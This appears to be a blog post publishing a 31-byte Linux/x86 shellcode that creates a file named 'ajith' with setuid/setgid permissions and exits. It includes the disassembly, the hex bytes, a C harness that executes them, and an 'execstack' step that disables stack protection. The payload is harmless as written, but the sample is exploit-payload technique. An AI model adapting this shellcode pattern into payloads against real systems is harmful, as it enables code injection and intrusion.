Our Feeds

Wednesday, 9 September 2015

AJITH KP

Linux/x86 - Create file with permission 7775 and exit - 31 bytes

Screenshots

Compile

Run

Source Code


/*
---------------------------------------------------------------------------------------------------

Linux/x86 - Create file with permission 7775 and exit - 31 bytes

Ajith Kp [ @ajithkp560 ] [ http://www.terminalcoders.blogspot.com ]

Om Asato Maa Sad-Gamaya |
Tamaso Maa Jyotir-Gamaya |
Mrtyor-Maa Amrtam Gamaya |
Om Shaantih Shaantih Shaantih |

---------------------------------------------------------------------------------------------------
Disassembly of section .text:

08048060 <.text>:
 8048060: eb 12                 jmp    0x8048074
 8048062: 5b                    pop    %ebx
 8048063: 31 c0                 xor    %eax,%eax
 8048065: 88 43 05              mov    %al,0x5(%ebx)
 8048068: b0 08                 mov    $0x8,%al
 804806a: b1 ff                 mov    $0xff,%cl
 804806c: b5 ff                 mov    $0xff,%ch
 804806e: cd 80                 int    $0x80
 8048070: b0 01                 mov    $0x1,%al
 8048072: cd 80                 int    $0x80
 8048074: e8 e9 ff ff ff        call   0x8048062
 8048079: 61                    popa   
 804807a: 6a 69                 push   $0x69
 804807c: 74 68                 je     0x80480e6
 804807e: 23                    .byte 0x23
---------------------------------------------------------------------------------------------------

How To Run

$ gcc -o create_file create_file.c
$ execstack -s create_file
$ ./create_file

---------------------------------------------------------------------------------------------------
*/
#include <stdio.h>
char sh[]="\xeb\x12\x5b\x31\xc0\x88\x43\x05\xb0\x08\xb1\xff\xb5\xff\xcd\x80\xb0\x01\xcd\x80\xe8\xe9\xff\xff\xff\x61\x6a\x69\x74\x68\x23";
// It will create file named 'ajith' with permission 7775
void main(int argc, char **argv)
{
 int (*func)();
 func = (int (*)()) sh;
 (int)(*func)();
}